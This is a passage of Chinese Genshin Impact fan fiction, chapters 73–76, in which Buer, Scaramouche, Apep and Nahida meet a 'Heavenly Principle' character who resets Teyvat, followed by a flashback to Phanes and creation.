厄歌莉娅在坎瑞亚战死后,尸体便化成了纯净的甘露之海。西摩格将灵光之力与甘露相融合,镇压了沙漠地区的漆黑灾厄,这是她们存在过的痕迹。 布耶尔也不例外,覆盖须弥全域的虚空系统就是她最引以为傲的杰作之一,哪怕她已然身陨,只要虚空尚存、雨林不灭,她的存在就始终会被人们所铭记。 但,时空轮转,大慈树王如今真切地希望,那被自己折下来的枝桠能够尽快赶来世界树,抹去自己存在过的痕迹。 已然是稚童形态的布耶尔忧愁地坐在被樱草覆盖的梦幻巨树之下。 这一小块小小的方寸之地是作为世界树化身的她最后的结晶领域,而远离这片梦幻之地的梦境外层,她的意识已然被禁忌知识的力量所污染,整个世界充满了火焰与怪物。 不知道,小小的枝桠现在过得怎么样了? 困于记忆的欢迎无法窥见地表的现实,但她相信那株小小的枝桠。世界树而生的精灵天生爱人,她一定会跟须弥的子民们相处友好。 在大慈树王的想象中,生论派的学者们会跟随小小的树娅共同培育崭新的雨林,一起努力将漫天的黄沙镇压在繁盛的绿色之下。 最尊崇神明的明论派一定会更加潜心研究星空的规律。他们一定会为了应对未来,寻找天理印刻于虚假之天的真理,进而摆脱既定的命运。 还有素论派的学者们,记忆里,他们总是擅长研究激化反应。他们之中的出类拔萃者总是擅长说一些有意思的笑话,说不定会一本正经地用逗新任的小草神开心。 妙论派的大家会想要重新建造新的神像和宫殿吗?希望他们不要超过预算太多,劳民伤财可不是好事。 还有那些曾经热衷于研究赤王的因论派学者们,自己死后,应该会转变研究的内容,将研究的方向往坎瑞亚的历史进发吧?不知道他们是否会好好把控天理所能容忍的限度,不过大慈树王相信,小草神会及时制止他们的逾矩。 大慈树王想啊想,心中有个小小的声音总是在催促她,透过世界树看看外面的世界。她不动声色地掐灭着勾起欲望的念头。每时每刻,大慈树王都在克制着自己使用世界树窥探那小小枝桠的本能。 小小的枝桠还没有发现自己留下的痕迹,既然如此,她更不能放任自己的好奇心去污染世界树。 大慈树王半个身子倚靠在粗壮的树干。 ——到底什么时候,会有人来帮忙抹除掉自己的一切呢? 天理大人,还是没有醒来吗? 恍惚之际,她的记忆来了一位不速之客。 不是深渊,不是禁忌知识,身上还有天空岛的气息—— 是,祂的使者吗? 大慈树王静静地看着这位不速之客恭敬地拜见自己,他站起身,自我介绍道: “下午好,新任草神小吉祥草王,我是天空岛派来辅佐你的散兵。对您先前遭遇的一切苦难,我深感遗憾——不过这里似乎只有我们两人?请问我的工位呢?还有我的编外同事阿佩普在哪里?维系者说,外包同事不能偷吃地脉力量。” 第73章 第 73 章 只是想问个问题而已 “抱歉, 这位同僚。看上去你似乎找错神了。” 布耶尔略带歉意地朝散兵微微点头致歉。 不过,或许是因为眼前人身上同样具有世界树枝桠的气息而略显得亲近,因此, 布耶尔并未对这名不速之客多加驱赶, 而是对这后者短短几句话暴露出来的信息感慨道: “原来连阿佩普都被那位大人纳入麾下了吗?真是难以想象, 我原以为按照她的个性, 哪怕是提瓦特毁灭也不会低下她作为龙族的高傲头颅。不过……刚刚你口中的「小吉祥草王所遭遇的一切苦难」, 指的是什么?” 难不成,时过境迁,深渊的污染和天上的禁忌知识已经对须弥成两面包夹之势了吗? 不然布耶尔怎么也想不通,在教令院和虚空装置的双重后勤下,小小的树桠会遭受到什么无法解决的苦难。 “你不知道吗?” 散兵颇感意外, 但是环顾四周,顿时了然:“也是,如果一直被困在这种地方, 对须弥现在的境况一无所知也是没有办法的事情。长话短说, 总而言之,教令院的人类们囚禁了小吉祥草王五百年,并且试图夺取神之心, 创造一个全新的神明。” 布耶尔呆愣住了一瞬, 紧接着反问—— “诶?等等, 你说的是教令院吗?确认不是深渊教团?” 教令院的人类们囚禁了小草神?这个世界怎么会疯狂至此? 智慧之神的意外和反射性将罪责归于深渊的本能, 着实印证了她确实是天理麾下的什么。 散兵眼神死:“你们不要什么都怪深渊啊……这次确实是百分之一百的人类造孽, 硬要说的话,还有试图浑水摸鱼的小人煽风点火。但从结果来看,小吉祥草王的的确确被教令院的贤者们囚禁了五百年,直至不久前, 才被维尔金大人解救。” 眼见智慧之神被人类的“壮举”所震撼得失语,散兵难得平缓了措辞,推心置腹道: “不要太过相信人类的品质,虽然他们之中也有品德高尚的存在,但只要出现一个虫豸,你就能见识到何为腐烂的淤泥坏了一汪纯净的泉水。” “不过话又说回来,作为智慧的神明,前代的草神,尊贵的大慈树王真的想不到这样的可能吗?” “——因为失去神明而陷入恐惧的子民们,对新生的神明做出亵渎之事的可能。”布耶尔沉默了半晌,随即缓缓叹了口气,“禁忌知识对世界树力量的削弱比我想象得还要严重。” 布耶尔轻轻拈一片半空中飘舞的花瓣,将之递出。 “天空岛的使者,请你尽快前往那小小的枝桠身边,告诉她——” “拜托了,请快点找到我、然后来到我的身边。” “我可能,没有多少时间了。” 飞花迷乱了现实的界限,树影倒转。梦境沉入心底,灵魂与躯壳回归了现实。 净善宫内反射的冰冷光晕将散兵从迷醉一般的花海树林中拉出,他睁开眼,低手看向空荡荡的双手,似乎指缝之间还留有花瓣淡淡的清香,一时之间,还有些恍惚。 阿佩普一眼就看出散兵身上刚刚沾染到的老邻居气息,兴奋道: “天理,我怎么觉得这维系者派来的人身上有布耶尔的气息……真是太好了,她没死。”阿佩普松了口气,随即迫不及待地追问道:“那我是不是可以去接布耶尔回来当草神,毕竟她有经验一些。” 一边的纳西妲眸子微暗,一向尖酸刻薄的利露帕尔恶狠狠地瞪了眼一点都不懂得尊老爱幼的邪恶草龙,小声安慰起纳西妲。 面对阿佩普异想天开的要求,维尔金想都没想直接拒绝:“与其满脑子想着换领导,不如动动脑子想想接下来该如何做一个尽职尽责的眷属——诺,这位就是往后会与你共事的散兵;散兵,这是阿佩普。” “这位想必就是我的新同事了。” 散兵揉了揉太阳穴,上下打量着已经化为枣椰吞噬者的阿佩普若有所思道,“我还以为阿佩普是一条体态纤长、力量强大、威严无比的巨龙,没想到……竟然是一只小巧的蕈兽。” 阿佩普闻言,瞬间感觉连手上的新鲜枣椰也不香了,布耶尔的事情也不想关心了。羞耻心和愤怒瞬间涌上心头,就连手上的枣椰也变得格外烫手。 趁着阿佩普在心中纠结如何向新同事解释自己的本体的确是一条美丽有强大,只是不适合在地面上出现的巨龙时,散兵灵巧地弯下身子一捞,从本体是巨龙的蕈兽口中夺下枣椰,抱歉道: “维系者有言,外包同事不能吃地脉,而栆椰正是由须弥沙漠地脉孕育而出的果子,所以,不好意思了,我亲爱的同事。” “什么,我居然是外包?” 阿佩普瞪大了眼睛,对全程跟进的天理质问道:“不对,外包就外包,我还不稀罕天空岛的编制呢!别的我无所谓,凭什么外包不能吃地脉孕育的果实?我之前把须弥地底吃出个坑来也没见有人管我,怎么在你们手底下做事,事情变多不说,连饭都没得吃了?” “不好意思,我们的合同上的确没有提供膳食这一条规矩,上面写的是,具体待遇跟对应神明详谈——” 维尔金甩出卷轴,优雅的花体字贴近着阿佩普黄澄澄的大眼睛。 阿佩普眯着眼睛聚焦,终于在一行比蚂蚁还要小的小字上找到了信息—— 【天空岛作为第三方无提供膳食的相关义务,地脉乃天空岛宝贵资产,请所有外包同事注意形象,切勿跟地脉之花抢食】 【喜欢跟地脉之花抢食的,天空岛见——维系者留】 “霸王条款。”阅读过后,阿佩普愤愤不平,给这份该死的合同下了定义。 “多谢夸奖,你们的不满就是我最大的动力,我会继续加油的。”维尔金收起合同,提醒还没有意识到自己的伙食大权已经全然被小小的新草神掌握的阿佩普,说道: “所以说要跟自己的神明打好关系哦,毕竟天空岛不提供食物,所有的膳食住宿、薪资待遇都由对应的神明提供。快去求小吉祥草王给你每天留份饭吃吧。” “等等,差点被你蒙骗过去了!” 阿佩普把记忆翻了个底朝天,陡然意识到有些不对。随后似乎是以为自己抓住了天理和他下属的把柄,阿佩普的声音不自觉变高:“你不要以为我在沙漠中就两耳不闻窗外事,若陀那家伙沉睡的时候,可是每时每刻都在吞食璃月的地脉力量,跟你那些种得到处都是的地脉之花抢食吃,你怎么不去管若陀和摩拉克斯,转盯着我的枣椰下手?!” “我说了,膳食由神明提供。” 好心的空为仍然没有听出维尔金话语里蕴含深意的阿佩普解释:“维尔金的意思是,只要是七神提供的就行。只要这部分是七神所提供,哪怕食物是地脉里流淌的力量也没有问题。” 太好了。阿佩普在心底悄悄松了口气,她不会变成世界上绝无仅有的,因为没饭吃饿死在提瓦特的龙了。 但还有一个尴尬的问题—— 阿佩普心虚地瞥了眼纳西妲,试图做最后的挣扎:“那布耶尔的气息……” 散兵无情地打破了阿佩普最后的妄想:“真是抱歉,布耶尔女士希望尊敬的小吉祥草王大人尽快毁灭掉她的存在。” 阿佩普眼巴巴看着幼小的神明:“纳西妲……” 维尔金拍了拍第一天上工就在小草神这里留了个坏印象的阿佩普,敷衍鼓励: “好好干,职场生存法则第一条:不要时时刻刻拿前任跟现任作比较,总是这样比较的话,工作可干不好。” 对于纳西妲,维尔金则是大力支持她杀鸡儆猴,立下威严。 “自信一点哦,纳西妲。你还年轻,跟阿佩普这种老得已经可以脱皮的存在没什么好比的,做自己想做的事情,只要完成尘世七执政的工作,七神拥有着对自己国家的绝对统治权。” 纳西妲用力点头。 天理都这么相信自己能够做到,自己更不能让他失望!利露帕尔更是在小吉祥草王耳边出谋划策,提出了不少令小草神震惊的残忍虐龙手法。眼见奸邪小人在诋毁自己,阿佩普再也顾不得那些古龙尊荣,强行挤入神明和镇灵之中,试图掰回一城。 散兵则趁此机会,向维尔金汇报了另外一件极其重要的事情。他详细地描绘了大慈树王目前的状态已经所处环境,并将她希望自己转交给小吉祥草王的话一一说出。 “总而言之,布耶尔看上去……似乎不太妙。” 维尔金揉了揉太阳穴,不易察觉地叹了口气。 散兵的最新消息进一步印证了布耶尔已死的事实,以及,这位自己曾经最为得力的助手因为已经被禁忌知识污染,不得不剑走偏锋,试图将自己的存在消抹的想法。 “我明白布耶尔的意思。” “我只是在想一件事……” 空间正在随着维尔金的思考而发生剧烈改变,净善宫的空间肉眼可见的发生了扭曲。 透过散兵的描述和记忆,维尔金轻而易举地找到了布耶尔残影的位置,并将这块先前就已经分割开的空间,硬生生挤进布耶尔残存的幻影之处。 得力下属回忆世界的外层引起了天理的注意。禁忌知识的污染对维尔金而言并非无法解决的顽疾,梦境烟熏火燎的外层顷刻间附上了一层洁白的冰晶毯。 布耶尔站起身,试图辨别这次不速之客的身份。有神,有龙,有降临者,还有镇灵。 而为首者的声音是那样的熟悉。 “试图抹消自己之前,为什么不试一试求助尚未沉睡的、过去的我呢,布耶尔?” 意识到来者的身份之后,布耶尔吐了一口浊气,半是放松,半是庆幸: “……原来是天理大人,我还以为您仍处在沉睡之中……您来的比我预想的还要快上许多。” “没办法。”维尔金耸了耸肩,面对自己最为得力的下属,他难得地自嘲道: “谁叫我吃过不少迟到的亏呢。吃一堑长一智罢了。” 第74章 第 74 章 故事的故事始于一场轮回…… “您从未迟来, 是既定的命运为了规避您的阻拦,总是用迷乱的时间节点迷惑众生,打乱我们的布局。所有魔神都铭记着……提瓦特的生态甚至无法承载作为原初之半身的您享用一次富足的盛宴……” 哪怕是天理, 也无法让已成既定现实的一切发生改变。 灵魂可以在繁星的夜空找寻回归途, 如果能够拥有天理的豁免, 那么让死者复活也不是话下。纵使能够让生命回归, 伤痕依旧烙印在提瓦特大陆上, 永远无法被抹去。 所以大慈树王从来不会追溯过去的错误。在她眼中,既然过去已经注定,作为草神,只要她向前看即可。虽然困扰世界树的禁忌知识尚未解决,但见到维尔金, 大慈树王松了大半口气。她微微张开手掌心,只可惜如今的她太过于孱弱,想要将这几百年以来守卫世界树的记录直接交由维尔金。但隐隐显现的地脉之花始终无法凝聚。虚空的翠绿色光辉甚至无法凝成实体, 维尔金合上布耶尔的手, 微微摇头。 “你们错了,我也错了。” 维尔金很少如此直白地同时否认自己和下属,但在须弥见到居然连新生的神明也会被贪婪的人类所桎梏之时, 对人类盲目的偏爱成为了对自己千年前决策的怀疑—— 人类一开始, 真的是纯白的吗? 创造人类时他从未想过这个问题, 开启魔神战争时他从未想过, 甚至就连坎瑞亚战争时, 七罪人以及无神之国的叛逆都从未让维尔金思考过这个问题。 维尔金从不认为国家的罪孽可以归咎于种族,他甚至为那些被深渊腐蚀、渴求禁忌知识的人类们找到了一个无比合适的理由——身处七神治下国度的夹缝之中,坎瑞亚人的堕落并非毫无征兆,无神的国度让他们的顶尖战斗力难望其余七国之项背, 恐惧让他们将视线投向逾矩之举,铸成大错。他们的地理位置也不甚优越,世界之外的降临伪物迷失了他们的心智,更加无法听清来自天空岛的声音。 然而,维尔金数千年都坚定地认为其一定正确的想法,在登上离岛时发生了一些微妙的改变。来到须弥后发现幼小的神灵被人类囚禁、甚至于都因着爱人的本能而没有反抗时,维尔金已经下定决心,自己在天空岛时,向维系者提出的试想,无论如何也必须要开始实行。 空望来望去,无论怎么来回对比,除了气质,两任草神居然长得一模一样。他忍不住端起始终保持沉默的阿佩普,小声问:“阿佩普,为什么大慈树王会跟纳西妲长得一模一样呀?” “因为这只是一个通过小吉祥草王的形象倒映而成的、什么都做不了的残影而已”阿佩普看向亦敌亦友的前代草神,往事如烟,现在,她们一个成为了不久后便会消散倒影、一个背弃了千年前的壮志豪言,选择成为了新任草神的眷属。 阿佩普黄色的眼眸忽明忽按,她看向内心平静到不可思议的布耶尔,纷乱的念头终究是化作一句叹息:“——布耶尔,你还是死了。” 继娜布、阿蒙之后,布耶尔的死亡意味着,那个曾经连巨龙都忍不住赞叹的时代已然成为旧日的末影。牺牲终究会被忘却,当回忆蒙上尘土,当记忆变成了过去,过去变成了历史,历史变成了故事,故事又变为传说,成为覆在时间上轻飘飘的尘土。 阿佩普在沙地里哀叹过尼伯龙根的溃败、亲眼目睹了花神和赤王命途的终结。 她很清楚,被禁忌知识污染的下场。 不过好在,她早就为即将忘却的前神明默哀。 “好久不见,阿佩普。”布耶尔像是浑然不觉,大慈树王的嘴角勾起,自一次次付出力量压制禁忌知识的侵蚀以来,她已经很久没有像今天一样如此的轻松,甚至还有心情打量着仍旧使用着蕈兽躯壳的阿佩普,坏心眼地拍了拍绿色的伞盖,在感受到那充满弹性的手感后,心满意足地感慨着物是人非: “天空岛的使者告诉我,你归顺了维尔金大人。我还以为是玩笑话,没想到居然是真的。” “……” 阿佩普没有说话。 万树之精灵的声音与容貌已经变得与新任的草之神无异,毋庸置疑,布耶尔力量几乎已然流失殆尽,眼前也不过是一道残影。 阿佩普十分确定这一点。 “还有纳西妲。”布耶尔看向自己的继任神明,看见世界树的枝桠一如最初的时候那样纯净,笑意终于直达眼底。 她的牺牲是有用的,禁忌知识被封存在了世界树内部,没有对小小的枝桠造成任何影响。 “很高兴,你终于看见了我留下的后手。” 阿佩普眉头紧皱,提醒道: “你先别高兴。错误判断了人类对神明的忠诚,或者说,人类对新生草神的贬低——”阿佩普看向这个自己曾认为是三神之中唯一靠谱的神明,语气之中竟然微微有些不满,“你的树杈子在外面过得很不好,被人类囚禁至今。别说你留在地脉之花的遗言,她连净善宫都出不去。要不是你上司动作麻利,估计你还得空守这世界树守一辈子。” “作为世界树的看护者,恪尽职守,从未逾越半分,也始终遵循烙印在灵魂上的规则,教导人类、爱惜人类、保护人类……布耶尔眼中充斥着心满意足,“我已经死而无憾了。” “世界树内部贮存的数据能否全部复现?”维尔金问打断了前草神与草龙的题外话。 布耶尔迟疑了一下,短暂地链接计算过后,微微摇头:“世界树已经被禁忌知识所污染,当初为了剥离这部分禁忌知识的影响,一部分的信息已经被删除,还有一部分……因为我自身的局限性,至今无法抹除。” 布耶尔顿了顿,将视线投向紧攥着手心,担忧地看着自己的小草神,微微一笑:“不过还好,纳西妲来了,禁忌知识很快就能够全部解决——世界树被禁忌知识污染的部分已经全部被我清除,只要最后把我也……” “不需要。”维尔金打断了布耶尔的未尽之言,“我计划将提瓦特重置。”维尔金直白道,他已经没有耐心再一步一步深挖分析,他也相信布耶尔不会反对,“我会将纳西妲被拯救出净善宫、阿佩普签下契约的今日设置为「此刻」的锚点。锚点之前的历史,也就是她被救出之前的过去,都将重新洗刷、重新开始。” 维尔金仰头,繁茂的世界树被大慈树王照顾得很好,时隔数千年,纵使死亡已经将天理和他的执政官分离,后者也依旧完美地秉持了执政官的自持和世界树的守卫者之名。 “而作为保护好珍贵的世界树、恪尽职守的奖赏——布耶尔,你的愿望是什么?作为关键的一环,你的任何愿望,我都能满足。”维尔金开口,“你可以慢慢思考,重置之后,你自然会复活,纳西妲也不会死去,须弥可以如当初三王共治一样,由两位草神继续统治。我会在最短的时间内解决掉从创世之初就作为副产物出现的深渊,然后将分割世界之时混入其中的禁忌知识统统排放至宇宙的星空。世界的薄膜将会禁止人类的出入,坎瑞亚战争不会爆发,所有不该死去的存在会活下来——” “一个堪称完美的世界。” “但是世界树……删去的空白信息可能会造成重置后的世界底层逻辑出现漏洞。”布耶尔睁大着眼睛,不敢相信自己听到的一切: “而且您不是说过,不可改变既定的历史事实,不可移动既定的命运轨迹吗?” “我也说过让你们爱着人类,甚至将之变成了加诸于魔神一生的枷锁,但我发现,我错了。现在我只想把这个错误修正回来。让这个世界变得更像是我精心呵护的提瓦特,而不是一个被禁忌知识和深渊污秽已经晕染成黑色的恶土。” “你有病吗?要重置世界还骗我签外包合同?”要不是实在打不过,阿佩普恨不得将眼前的天理大卸八块。甚至重置的锚点都刻意设在阿佩普应下作为草神眷属之后,阿佩普很难不怀疑,这不是维尔金有意为之。 不过现在前代草神和天理之间剑拔弩张,无人理会巨龙的怨恨。 大慈树王叹了口气,问了一个她知道不可能得到自己所希望答案、但是必须要问的问题: “您爱着人类吗?” “这个问题没有任何价值,结论更是毋庸置疑。” 维尔金反问:“我若不爱,为何要为人的生存和未来殚精竭虑?” 大慈树王轻轻摇头,纵使是亘古原初的神明,在参透了世界树无数样本的大慈树王眼中也并不如最早时那般神秘可怕,而且,维尔金从未掩饰过自己作为「天空」对那位原初之神的怀念和尊崇。 “那不是爱,您只是在践行一个法涅斯大人的遗言而已。”布耶尔揭穿了维尔金所作所为的真面目,“您像是爱护花圃的园丁,无人能够质疑您对鲜花们的付出,但与之相对的,您依旧会拿着鲜花去妆点棺柩——您并不爱人,您只是被名为「遗愿」的虚无所束缚罢了。睿智的神明啊,我祈求您收回决定。” “世界不是您的一言堂。在这个世界成为「提瓦特」的那一刻起,它就不属于您了。” “不要挑战我,布耶尔。” 天空岛之主眉头微蹙,但面对自己最为得力的助手,他仍是耐着性子纠正道:“祂只是在沉睡而已……” “等到人类的足迹重新遍布提瓦特大陆,等到深渊的淤泥被清除干净,等到禁忌的知识全部全然被排除在外……等到提瓦特完全变成我们梦想中的世界之时,法涅斯自会回来。我已经算好了一切,只要能够重置提瓦特……别说禁忌知识、更不要提什么坎瑞亚战争、什么深渊的污秽——” 维尔金嘴角微微勾起,他拈下一片属于世界树的花瓣,布耶尔将它照顾得很好,以至于在意识到自己的守护者再用原初的神明对质时,摇下万千飘摇的花瓣,试图柔化剑拔弩张的气氛。 只不过,一切注定是无用功。 “相信我,布耶尔。我会让提瓦特大陆,成为比天空岛更完美的国度。” 参天的巨树吸纳回飘落的叶片,枯萎的枝桠重获新生,巨大的树干缓缓缩水,直至变成幼苗。 过去变成未来,历史化作齑粉。天空重归混沌,一切回归寂静。 龙不见了,神不见了。 唯有不属于过去和未来的梦幻倒影,以及世界之外的降临者空,还保留着「先前」的模样———— 作者有话说:须弥篇还没完,接下来还是须弥副本,以及荧也要出场啦! 第75章 第 75 章 你更要相信,生命的意义…… 天理的决策不容他人质疑, 哪怕是维尔金最为信任的布耶尔,一旦反对对提瓦特大陆进行「重置」,维尔金也绝不会手软。 那个为古龙所警惕敌视、为手底下魔神所忌惮敬畏的天理, 一如从前, 从未改变。 “会惊讶于我不听布耶尔的劝解直接动手吗?”维尔金看向尚愣在原地的空, 随口问道。 空摇了摇头, 纠结了一番后, 还是如实说:“我以为你会尝试说服她,而不是像现在这样——” 一言不合,也不搭理大慈树王的劝诫,就直接开始重置。 不过这其实才算合理。 一路上见到的所有古龙都是口嫌体直正地一边碎碎念,一边老老实实地接受天理所降下的束缚。 哪怕是提出重置世界这样大胆又荒诞的计划, 其他人也不是说质疑维尔金口中重置世界的可能性,而是分析这会不会给已经饱受创伤的提瓦特再造成不可挽回的伤害。 “那我现在我是不是应该像他们一样昏睡过去?”空坦然问,他左思右想, 觉得就自己一个外人醒着也未免太不合适, 干脆提议道:“要不还是给我来一手刀吧,就我一个人醒着,感觉没什么安全感。” 维尔金一把抓住空, 打算直接一步到位:“不用, 我直接先定好坐标——先回忆一下你最后看见你的妹妹荧的地方。” 自己最后见到荧的地方? 空闭上眼, 脑海中自动浮现出了那片暗藏在层岩巨渊的幽暗地底。突然出现的末光之剑, 以及为了从维尔金手底下救出末光之剑而见到的深渊使徒和妹妹…… 维尔金:“搞错了, 是五百年前你苏醒之时的那一刻——” 空尴尬地轻咳两声,赶紧将脑海中关于层岩巨渊的一切都彻底删除,脑海中浮现的,是久远却印象深刻的过去。 五百年前……火焰, 废墟,维系者,以及—— 想要带自己离开的,荧。 这次,他们会成功离开提瓦特吗? ——这是空沉睡前,脑海中所思考的最后一个问题。 维尔金为友人阖上眼,站起身。 金色从身上褪去,人形渐渐消散。世界树也逐渐失去瑰丽的颜色,一切仿佛在重归于漆黑。但其实不然,地上与地下的一切往复循环,终止不休。 命运会忠实地将一切倒影在高空之上,记忆与元素力量在地脉奔腾,汇聚向世界树。腐烂的日落果会回归尘泥,顺着大地的律动,从泥土中钻出来的嫩芽也将抽出粗壮的枝条,于某日结出新鲜的果实。 海水去而复返,土地的岩块重新凝结,人类回归于无尽的虚空,世界之外被非人类的长生种们重新占领,一个圆润紧闭的椭圆形蛋壳重新包裹着世界,一如最开始寂寥混沌的万物。 太早了,还要再晚一点。 维尔金心念一动,骨节分明的手滞于半空之中,金色的眼眸微微半闭,时间开始飞速快进,定格在那个决定做出的一瞬。 那是一切的开始。 “对不起,我不知道你有了意识。” 温润的声音在空旷的漆黑的世界中响起。 维尔金睁开眼,一道熟悉的身影映入眼帘。如果纳西妲尚在此处,就会惊讶地发现,声音的主人居然跟魔神战争期间的天理长得一模一样。 维尔金看着熟悉又陌生的身体,的眼眶有些模糊——不对,他现在还没有眼眶才对。 “别哭别哭,唉,我真的不是有意的。” 谁能想到孕育自己的蛋壳居然拥有了意识?金色的羽翼小心翼翼地安抚着已经裂成两半的蛋壳,真正的原初之神对万事万物怀揣着一颗真正纯洁又慈悲的怜悯。祂用羽翼擦去蛋壳破裂而冒出来的紫黑色淤泥,金色的力量点亮了漆黑的宇宙,祂对孕育自己的蛋壳说道: “别怕,我叫做法涅斯,如你所见,正是蛋壳内所孕育出来的「神」。抱歉,我不知道原来你是有意识的,不过我一定会补偿你的。但在这之前,可以告诉我,你的名字吗?” “我没有名字。”维尔金沉闷着声音说道,“无须介怀,我只是一个蛋壳。天生就该被孕育的存在吃掉,我只是担心你——” “不吃掉自己蛋壳来补充营养的鸟儿,会营养不良,很快就会死去。” 法涅斯一愣,随即笑了笑,他擦拭掉蛋壳表面上的黑色淤泥,语气里充着一种止不住地愉悦和兴奋: “我拿蛋壳去做一件比吃掉更有意义的事情去了,我用它分割开了世界和混沌,那是一个崭新的世界!” 法涅斯的眼睛似乎都变亮了几度,闪耀的翅膀几乎照亮了整个混沌的宇宙,美丽的小鸟很快意识到自己正在受害者面前炫耀自己用蛋壳干下的坏事,连忙说道:“真的是非常非常对不起,你不要伤心了……不过我没办法把你拼回去,蛋壳已经变成了世界的支柱,一旦拿走,这个小小的世界一定会轰然倒塌的!要不这样,我把身体送给你,怎么样?” 法涅斯双手合十,祈求突然发出声音的蛋壳。透过法涅斯的瞳孔,维尔金这才看清楚自己的面貌——这是他从前从未看清过的。 上半部分的蛋壳顶住了亮晶晶的星星,下半部分则浸泡在了紫色的淤泥之中。来自遥远星空的禁忌知识让他能够轻而易举地看破一切虚假之后的真实,下层深渊的浸染让他世界的美丑发生的转变。 一切还来得及。 “……我的命运本就是被你吃掉,现在你不想吃掉我也没有关系。但如果是建造世界的话,应该先把底部的深渊污秽祛除干净,再把天空上的禁忌知识给驱赶开。”维尔金说,“这两样东西会让精心建造的世界化为炼狱,所以最好一开始就弄干净。” 法涅斯若有所思:“你说得有道理。” 原初的神明飞向蛋壳的顶部,将趴在蛋壳洁白外层的星空子民们尽数驱赶开。祂捉住了许多不起眼的小触手,嫌弃地用光的力量将之焚烧殆尽,连一点灰烬也不留。 原初的神明又飞向蛋壳的底部,祂吃惊地看向从破壳处渗出来的紫黑色脓疮。鸟儿扇动翅膀,位于最下层的秽血率先失去依附的支点,随后是已经形成一层黏性极高液体的紫黑色污秽,法涅斯皱着眉头,这些污秽们紧紧依附在祂的蛋壳上,坚硬的利爪说不定会划破蛋壳。于是,法涅斯用利爪划出一道伤口,鲜血从手腕处的伤痕漫出,冷凝成一把长刃。 祂一点一点将紫黑色的污秽剥离,又嫌弃地将之抛开,金色的力量将深渊的污秽全部净化。法涅斯还细心地为蛋壳边缘处破损、极有可能也化脓的伤口填补净化。做完一切之后,祂兴高采烈地飞翔高处,夸赞多日来唯一一个能够跟自己说话的存在—— “你真是个细心的蛋壳!我都不敢想象要是我一觉醒来,发现这个世界在我没注意到的时候被这些脏东西占满,我该多么绝望——不过,一直叫你蛋壳感觉好像不太礼貌,我想想……” 法涅斯一拍脑门,兴致勃勃道:“我想到了!你是我用以隔绝世界和混沌星空的「天空」,那么——” “叫做「维尔金」怎么样?” 维尔金沉默了好一会,直到法涅斯都快以为自己的蛋壳并不喜欢这个名字、忐忑地思考下一个名字时,祂终于听到了蛋壳的回答—— “谢谢你,法涅斯。” 维尔金小声说,“我很喜欢这个名字。真的,不骗你。” “那太好了,维尔金!” 法涅斯扬起手,眼眸中透露着满满当当地、几乎溢出来的笑容,兴奋地定下自己的目标—— “等我把这个世界完成之后,我就把身体送给你,到时候,你就可以跟我一起欣赏我们一起完成的杰作啦!” “我觉得这样也不错,不用把身体送给我……” 维尔金还在试图修正命运的主干—— 如果连禁忌知识和深渊都可以提前抛却的话,没道理法涅斯必须要把身体出让给自己、使得祂自己陷入永恒的沉眠吧? “才不要,给我好好收下神明的道歉啊!”法涅斯十指紧紧相交紧握,随后看向空荡荡的世界,眼中不自觉露出维尔金从先忽略的、那属于原初之神明的畅想、期待,以及带有牺牲意味的幸福—— 难道说,法涅斯料到了创世所需的力量会让祂不得不陷入沉睡? 鬼使神差,维尔金兀然想到了这一层面。 维尔金的思绪和沉默让法涅斯不免意外,祂敲了敲突然一言不发的维尔金,仔细端详了一阵后,突然感慨:“什么嘛,既然你还会思考,那更应该去看看外面的世界了。” “我已经见过了。”维尔金说道,“所以这一次,我觉得可以轮到你去看看。” “轮回?窥见未来?亦或是预言?”法涅斯摆了摆手显得毫不在意,继续说,“但既维尔金然会这么说,那创世完成之后,「法涅斯」一定就是不存在了吧?” 法涅斯睁大着扑闪扑闪的金色大眼睛,毫不在意地说出来维尔金不愿意承认的事实。 再强大的神明也无法凭空创造,但是一个原初神明的力量足以填补这个空荡荡的世界,让这个还没有名字的小小世界成为花团锦簇的美丽庭院。 一鲸落而万物生,法涅斯已经完全接受了自己或许会死去的未来,反倒安慰起明显无法接受的维尔金: “创造世界是我的愿望啦,哪怕为之付出生命,我觉得也不是什么大不了的。而且一想到从此之后,世界上的每一个生命都有「我」的痕迹,不应该更加开心吗?” 原初的神明用巨大的羽翼抱住自己陷入沉默的蛋壳,轻轻地说道: “维尔金一定没有问题的!我相信在未来,维尔金一定有在好好地用我的身体守护我们创造的世界。你要相信,只要过程足够美好,不论未来是归于毁灭的虚无,亦或是从头开始的轮回,都不会影响我的决定。” “——你更要相信,生命的意义本就不仅限于活下去。”—— 作者有话说:感觉荧好像得下一章了(趴) 第76章 第 76 章 此世之间,奇迹有二…… “我自始至终都无法理解, 你那自我毁灭的欲望究竟从何而来。” 苦于本体过于庞大而无法挪动,维尔金只能干瞪眼。而在反复的思考之后,“自毁”就是维尔金对法涅斯所作所为作出的最好诠释。 按理说, 卵壳应该同鸟雀同心合意。但这么多年来, 哪怕时间倒流, 重来一遭维尔金仍旧无法理解法涅斯的想法。 而混沌的宇宙中生与死的界限被无限的虚化, 维尔金不得不提醒: “恐惧死亡才是生命的本能, 未来也并不如你想象地那般美好。依靠牺牲才能成型的世界生来就带有缺陷,我已经亲身印证了这一点。与生俱来就拥有一切的长生种不会顾及脚下蚂蚁的生死,唯有规则才能限制力量远超人类的长生种,但这也不是长远之计。” “你怎么会这样想?” 法涅斯歪着头,全然不把维尔金的话放在心上。 “生命会随着时间流逝至终点, 力量会随着寿命戛然而止而回归星空。但只要这世上还有智慧的存在,创世之神明留下的规则将会从容地指引地上的万物——” “加上还有你,维尔金。只要他们赢不了你, 规则就无法被重塑。” 维尔金比较认同后面一点:“这个倒是, 不会有人是我的对手。但问题是,就算我能赢下所有战斗,我依旧无法阻止这个世界不可避免地走向衰亡。” 「天理」能够立于不败之地, 不代表天空岛永远高高在上。 “或许在你的眼中, 在一切都在肉眼可见地变得更好之时死去是一种愚蠢的行为, 但终有一天你会明白的。” 法涅斯看向蛋壳外的星空, 声音个不自觉放轻。 “活在没有未来的死寂之地, 比死在花团锦簇的理想乡中更令人痛苦;比起过去一无所有,窥见未来的衰亡的必然更令人绝望……与其苟活到看见末路而无能为力的久远未来,与其看到这美丽的世界油尽灯枯、重新回归至永恒的虚无,成为漫天星尘里一抹无人知晓的痕迹, 我宁可死在尚未发生一切的开端,在众生的赞歌和理解中死去。” 维尔金挑着看不见的眉毛:“我还以为是为了抵扣租借我的本体呢……” 